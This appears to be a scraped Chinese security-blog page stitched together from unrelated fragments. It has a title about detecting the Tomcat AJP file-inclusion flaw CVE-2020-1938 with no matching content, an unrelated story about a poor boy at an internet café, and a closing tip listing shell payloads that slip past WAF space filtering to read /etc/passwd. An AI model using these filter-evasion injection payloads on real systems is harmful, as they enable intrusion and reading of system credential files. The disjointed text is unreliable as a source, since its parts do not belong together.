如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)
研究在Spring MVC/Boot,Shiro,Struts下如何检测该漏洞
近几年北京下雪的场景比较罕见,不过今年似乎是个以外,这已经是北京的第三场雪了。而中国最传统的节日——春节也即将到来。
王梓坐在不知通往哪里的车,看着窗外的大雪,回忆起了10年前的冬天:同样是下雪天,而他穿着单薄的衣服,刚刚从网吧里出来。而此时的他已经没有钱了。因为经常来这家网吧,他跟网吧的老板比较熟,他曾经跟老板商量,能不能赊账。当时网吧老板直接就给拒绝了,并摆出了一副没有商量的姿态。网吧老板知道王梓的父亲跟母亲离婚,而父亲整日无所事事,只会到处去骗点钱,然后买酒,赌博。10年前的王梓还在上初中,整天不好好学习,沉迷于网络游戏中,但是因为穷,父亲给的钱不多,也没多少时间上网。每次从网吧出来都要走着回家。
在一些漏洞利用场景,或者因为waf等原因,导致无法使用空格时,可以试试如下命令:
IFS=,;`cat<<<cat,/etc/passwd` cat$IFS/etc/passwd cat${IFS}/etc/passwd cat</etc/passwd {cat,/etc/passwd} X=$'cat\x20/etc/passwd'&&$X经过测试,除最后一条在mac osx下执行失败,这些命令在ubuntu 19.10和centos7下均执行成功。在mac osx系统下系统会将cat\x20/etc/passwd当成一个可执行文件,会提示No such file or directory。